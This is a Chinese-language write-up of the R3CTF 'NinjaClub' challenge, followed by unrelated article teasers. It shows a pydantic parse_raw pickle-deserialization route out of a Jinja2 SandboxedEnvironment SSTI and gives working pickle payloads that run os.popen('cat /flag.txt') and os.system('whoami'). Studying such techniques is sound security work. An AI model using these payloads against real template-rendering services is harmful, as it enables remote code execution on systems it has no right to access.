R3CTF NinjaClub复现

R3CTF NinjaClub jinjia2沙箱

题目源码

from jinja2.sandbox import SandboxedEnvironment, is_internal_attribute
from jinja2.exceptions import UndefinedError
from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
from pydantic import BaseModel
from typing import Union
import uvicorn

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
def index():
    return """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Ninja Club</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background: #333;
            color: #fff;
            text-align: center;
            padding: 50px;
        }
        h1 {
            color: #4CAF50;
        }
        p {
            font-size: 1.2em;
        }
        a {
            display: inline-block;
            background: #4CAF50;
            color: #fff;
            padding: 10px 20px;
            margin: 20px 0;
            border-radius: 5px;
            text-decoration: none;
            transition: background-color 0.3s ease;
        }
        a:hover {
            background-color: #3e8e41;
        }
        .container {
            max-width: 600px;
            margin: auto;
            background: #222;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0,0,0,0.5);
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Welcome to Ninja Club!</h1>
        <p>Join us in the ninja club. We are present even in the sands of the Sahara. Sharpen your skills and become a master of stealth communications. Qualifications for entry are very strict, so preview your application first.</p>
        <a href="/preview">Preview</a>
    </div>
</body>
</html>
"""


@app.get("/preview", response_class=HTMLResponse)
def preview_page():
    return """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Preview Ninja Club</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background: #333;
            color: #fff;
            text-align: center;
            padding: 20px;
        }
        .container {
            max-width: 600px;
            margin: auto;
            background: #222;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0,0,0,0.5);
        }
        h1, p {
            margin: 20px 0;
        }
        label {
            display: block;
            margin: 10px 0 5px;
            text-align: left;
            color: #ccc;
        }
        input, textarea {
            width: calc(100% - 20px);
            padding: 10px;
            margin-top: 5px;
            border-radius: 4px;
            border: none;
            box-sizing: border-box;
        }
        button {
            background-color: #4CAF50;
            color: white;
            border: none;
            padding: 10px 20px;
            margin: 20px 0;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #3e8e41;
        }
        #output {
            background: #444;
            padding: 10px;
            margin-top: 20px;
            border-radius: 5px;
            min-height: 50px;
            word-wrap: break-word;
        }
        form {
            text-align: left;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Mailer Preview</h1>
        <p>Customize your ninja message:</p>
        <form id="form" onsubmit="handleSubmit(event);">
            <label for="name">Name variable:</label>
            <input id="name" name="name" value="John" />

            <label for="description">Description variable:</label>
            <input id="description" name="description" placeholder="Describe yourself here..." />

            <label for="age">Age variable:</label>
            <input id="age" name="age" type="number" value="18" />

            <label for="template">Template:</label>
            <textarea id="template" name="template" rows="10">Hello {{user.name}}, are you older than {{user.age}}?</textarea>

            <button type="submit">Preview</button>
        </form>
        <div id="output">Preview will appear here...</div>
    </div>
    <script>
        function handleSubmit(event) {
            event.preventDefault();
            const data = new FormData(event.target);
            const body = {user: {}, template: {source: data.get('template')}};
            body.user.name = data.get('name');
            body.user.description = data.get('description');
            body.user.age = data.get('age');

            fetch('/preview', {
                method: 'POST', 
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(body)
            })
            .then(response => response.text())
            .then(html => document.getElementById('output').innerHTML = html)
            .catch(error => console.error('Error:', error));
        }
    </script>
</body>
</html>
"""
class User(BaseModel):
    name: str
    description: Union[str, None] = None
    age: int


class Template(BaseModel):
    source: str


@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):

    env = SandboxedEnvironment()
    try:
        preview = env.from_string(template.source).render(user=user)
        return preview
    except UndefinedError as e:
        return e

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8001)

首先锁定我们的漏洞代码

@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):

    env = SandboxedEnvironment()
    try:
        preview = env.from_string(template.source).render(user=user)
        return preview
    except UndefinedError as e:
        return e

它是会进行一个模板解析的,那就是有ssti的风险,而且我们看一下示例

可以看见的是我们的{{}}内容是成功被解析了的

image-20240614203349810

那就是一道ssti 的题目,但是这个问题是,它是在

env = SandboxedEnvironment()

沙箱中,这个沙箱会有严格的过滤,几乎是不可能绕过的,我们看看过滤了什么

这是我们的调用栈

is_internal_attribute, sandbox.py:125
is_safe_attribute, sandbox.py:265
getattr, sandbox.py:333
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
    if isinstance(obj, types.FunctionType):
        if attr in UNSAFE_FUNCTION_ATTRIBUTES:
            return True
    elif isinstance(obj, types.MethodType):
        if attr in UNSAFE_FUNCTION_ATTRIBUTES or attr in UNSAFE_METHOD_ATTRIBUTES:
            return True
    elif isinstance(obj, type):
        if attr == "mro":
            return True
    elif isinstance(obj, (types.CodeType, types.TracebackType, types.FrameType)):
        return True
    elif isinstance(obj, types.GeneratorType):
        if attr in UNSAFE_GENERATOR_ATTRIBUTES:
            return True
    elif hasattr(types, "CoroutineType") and isinstance(obj, types.CoroutineType):
        if attr in UNSAFE_COROUTINE_ATTRIBUTES:
            return True
    elif hasattr(types, "AsyncGeneratorType") and isinstance(
        obj, types.AsyncGeneratorType
    ):
        if attr in UNSAFE_ASYNC_GENERATOR_ATTRIBUTES:
            return True
    return attr.startswith("__")

可以看到是一些过滤

反正前人就是很难绕过的,这种时候就要变换思路了,但是漏洞点还是在ssti,因为__的过滤,所以很多内置的函数就不可以使用了,然后我们看看这个类本身有什么函数,因为这个类的话是没什么利用函数的,我们看到这个函数还继承了

class User(BaseModel):
    name: str
    description: Union[str, None] = None
    age: int

是继承了BaseModel类,我们看看这个类有什么危险函数

来到我们的这个函数,因为它有一个参数非常让我们怀疑,就是我们的allow_pickle

image-20240614205937138

我们再详细跟踪看一看load_str_bytes方法

    if proto is None and content_type:
        if content_type.endswith(('json', 'javascript')):
            pass
        elif allow_pickle and content_type.endswith('pickle'):
            proto = Protocol.pickle
        else:
            raise TypeError(f'Unknown content-type: {content_type}')

    proto = proto or Protocol.json

    if proto == Protocol.json:
        if isinstance(b, bytes):
            b = b.decode(encoding)
        return json_loads(b)  # type: ignore
    elif proto == Protocol.pickle:
        if not allow_pickle:
            raise RuntimeError('Trying to decode with pickle with allow_pickle=False')
        bb = b if isinstance(b, bytes) else b.encode()  # type: ignore
        return pickle.loads(bb)
    else:
        raise TypeError(f'Unknown protocol: {proto}')

可以看到只需要我们传入的参数满足一些条件是可以pickle反序列化的,而且我们的参数都是可以控制的

首先content_type=‘pickle’,allow_pickle=True

然后就是构造payload

可以用我们的pker工具

s = 'cat /flag.txt'
popen = GLOBAL('os', 'popen')
getattr = GLOBAL('__builtin__', 'getattr')
c = popen(s)
read = getattr(c, 'read')
d = read()
res = {}
res['name'] = d
res['age'] = 30
return res

不过需要学习语法,建议使用我们的

import os
import pickle
import base64

class User:
    def __init__(self, username, age):
        self.username = username
        self.age=age

    def __reduce__(self):
        return (eval, ("__import__('os').system('whoami')",))

user = User("ljl", 18)
print(pickle.dumps(user))
pickle.loads(b"\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c!__import__('os').system('whoami')\x94\x85\x94R\x94.")

调用栈

parse_raw, main.py:1143
call, runtime.py:298
call, sandbox.py:393
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973

调用栈


parse_raw, main.py:1143
call, runtime.py:298
call, sandbox.py:393
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/716311.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MicroPython+ESP32 C3开发上云

传感器PinI/O状态D412输出1开0关D513输出1开0关 概述 MicroPython是python3编程语言的精简实现&#xff0c;能够在资源非常有限的硬件上运行&#xff0c;如MCU微控制器Micropython的网络功能和计算功能很强大&#xff0c;有非常多的库可以使用&#xff0c;它为嵌入式开发带来了…

线程池监控是怎么做的?

引言&#xff1a;在现代软件开发中&#xff0c;线程池是一种重要的并发控制机制&#xff0c;它能有效管理和复用线程资源&#xff0c;提升系统的性能和响应速度。然而&#xff0c;随着应用规模的扩大和复杂性的增加&#xff0c;对线程池进行有效监控显得尤为重要。线程池监控不…

CentOS搭建kubernetes集群详细过程(yum安装方式)

kubernetes集群搭建详细过程&#xff08;yum安装方式&#xff09; Kubernetes&#xff0c;也被称为K8s&#xff0c;是一个多功能的容器管理工具&#xff0c;它不仅能够协调和调度容器的部署&#xff0c;而且还能监控容器的健康状况并自动修复常见问题。这个平台是在谷歌十多年…

基于Python长时间序列遥感数据处理及在全球变化、物候提取、植被变绿与固碳分析、生物量估算与趋势分析

植被是陆地生态系统中最重要的组分之一&#xff0c;也是对气候变化最敏感的组分&#xff0c;其在全球变化过程中起着重要作用&#xff0c;能够指示自然环境中的大气、水、土壤等成分的变化&#xff0c;其年际和季节性变化可以作为地球气候变化的重要指标。此外&#xff0c;由于…

服务器数据恢复—OceanStor存储中NAS卷数据丢失如何恢复数据?

服务器存储数据恢复环境&故障&#xff1a; 华为OceanStor某型号存储。工作人员在上传数据时发现该存储上一个NAS卷数据丢失&#xff0c;管理员随即关闭系统应用&#xff0c;停止上传数据。这个丢失数据的卷中主要数据类型为office文件、PDF文档、图片文件&#xff08;JPG、…

[机器学习] Stable Diffusion初体验——基于深度学习通过神经网络的强大AI平台

文章目录 前言平台介绍 一.创建应用 Stable Diffusion WebUI初始化上传模型&#xff0c;VAE&#xff0c;lora 介绍sd模型&#xff0c;vae&#xff0c;lora模型进入应用文生图工作区调参区图生图 结语 前言 在这个信息爆炸的时代&#xff0c;AI技术正以前所未有的速度发展着。图…

YonSuite银企直联:成长型企业数智转型的强力引擎

在当今数字化转型的浪潮中&#xff0c;成长型企业正面临着前所未有的发展机遇与挑战。在这场数字化转型的竞技场上&#xff0c;银企直联凭借其独特的优势&#xff0c;成为企业金融管理的重要利器&#xff0c;为企业带来前所未有的资金管理体验。用友YonSuite作为领先的数智化转…

物联网主机E6000:动环监控的全新解决方案!

物联网主机E6000在动环监控中的应用&#xff0c;标志着一场新的技术革命。随着科技的进步&#xff0c;特别是在物联网领域&#xff0c;数据采集和处理已经成为企业运营不可或缺的一环。 E6000作为一款支持多协议、多接口的全能型物联网主机&#xff0c;其在动环监控领域的应用…

Android-apk自动签名

一、创建apk签名 1、有得话忽略 Build->Generate Signed Bundle or APK&#xff0c;选择APK&#xff0c;然后Next&#xff0c;然后选择Create new 2、 2.在app/build.gradle中&#xff0c;在android{…}中添加以下内容 signingConfigs { release { storeFile file(androi…

docker-compose jira、bugzilla、zentao

参见文章&#xff0c;这里是对之前的内容进行了改动&#xff0c;主要讲怎么将zentao容器融入到已有的docker-compose.yml中 一、zentao镜像 从官网上拉取&#xff1a;https://hub.docker.com/r/easysoft/zentao/tags 可以选择自己想要的版本&#xff0c;这里我选择的是开源版…

盘点有趣的人工智能开源项目一

字幕导出 zh_recogn是一个专注于中文语音识别的字幕生成工具&#xff0c;基于魔塔社区Paraformer模型。它不仅支持音频文件&#xff0c;还能处理视频文件&#xff0c;输出标准的SRT字幕格式。这个项目提供了API接口和简单的用户界面&#xff0c;使得用户可以根据自己的需求灵活…

9.2.1 简述图像分割中经常用到的编码器-解码器网络结构的设计理念。

9.2 图像分割 场景描述&#xff1a; 图像分类图像识别图像分割不同标注出每个目标的类别像素级别的图像识别&#xff0c;标注出图像中每个像素所属的对象类别不同对整张图像进行识别进行稠密的像素级分类应用场景视频软件中的背景替换、避开人物的弹幕模板、自动驾驶以及医疗…

时序预测 | MATLAB实现TCN-Transformer时间序列预测

时序预测 | MATLAB实现TCN-Transformer时间序列预测 目录 时序预测 | MATLAB实现TCN-Transformer时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现TCN-Transformer时间序列预测&#xff1b; 2.运行环境为Matlab2023b及以上&#xff1b; 3.data为数…

微服务开发与实战Day07 - MQ高级篇

一、消息可靠性问题 首先&#xff0c;分析一下消息丢失的可能性有哪些。 消息从发送者发送消息&#xff0c;到消费者处理消息&#xff0c;需要经过的流程是这样的&#xff1a; 消息从生产者到消费者的每一步都可能导致消息丢失&#xff1a; 发送消息时丢失&#xff1a; 生产…

[个人感悟] 缓存应该考察哪些问题?

前言 缓存, 根据冯诺依曼计算机模型, 无非是为了更高效的交互, 使用内存IO替换本地磁盘IO. 又因为内存的稀缺性, 其必然存储的是热点数据, 且较小的数据. [虽然直至今日, 已有使用缓存作为数据库的使用, 但是与磁盘IO相比, 其价格仍是数倍之多.] 当涉及缓存问题时, 又分为本地…

java基础知识总结【markdown】

java基础知识总结【markdown】 开发工具Java数据类型浮点数使用陷阱: 2.7 和 8.1 / 3 比较 常用字符编码基本数据类型转换关键字&#xff0c;保留字**原码、反码、补码** 开发工具 editplus、notepad、Sublime Text、IDEA、Eclipse Java数据类型 浮点数使用陷阱: 2.7 和 8.1 …

开源复刻apple 数学笔记;纯C++实现了ChatGLM系列模型;腾讯混元文生图模型发布新版本并开源训练代码

✨ 1: AI Math Notes AI Math Notes 是一个交互式绘图应用&#xff0c;可绘制并计算数学方程。 AI Math Notes 受到Apple在WWDC 2024上的“Math Notes”演启发&#xff0c;开发的一个互动式绘图应用程序&#xff0c;用户可以在画布上绘制数学方程。一旦方程被绘制完成&#x…

英伟达发布Nemotron-4 340B通用模型:专为生成合成数据设计的突破性AI

引言 2023年6月14日&#xff0c;英伟达发布了Nemotron-4 340B通用模型&#xff0c;专为生成训练大语言模型的合成数据而设计。这一模型可能彻底改变训练大模型时合成数据的生成方式&#xff0c;标志着AI行业的一个重要里程碑。本文将详细介绍Nemotron-4 340B的各个方面&#x…

【Stable Diffusion教程】AI绘画工具SD如何安装使用?三种方法带你轻松上手!(附安装包和云端部署教程)

大家好&#xff0c;我是向阳 AI绘画专业工具Stable Diffusion在哪里用怎么安装&#xff1f;这一期给大家介绍三种使用SD的方法&#xff0c;无论你有没有专业显卡都能轻松上手SD哦&#xff5e; 一、SD本地部署秋葉安装包安装方法 如果你有进一步的需求&#xff0c;想要学习SD…

MySQL Server和Server启动程序(二)

mysql.server — MySQL Server启动脚本 Unix和类Unix系统上的MySQL发行版包括一个名为MySQL.server的脚本&#xff0c;该脚本使用mysqld_safe启动MySQL服务器。它可以在Linux和Solaris等系统上使用&#xff0c;这些系统使用System V风格的运行目录来启动和停止系统服务。它也被…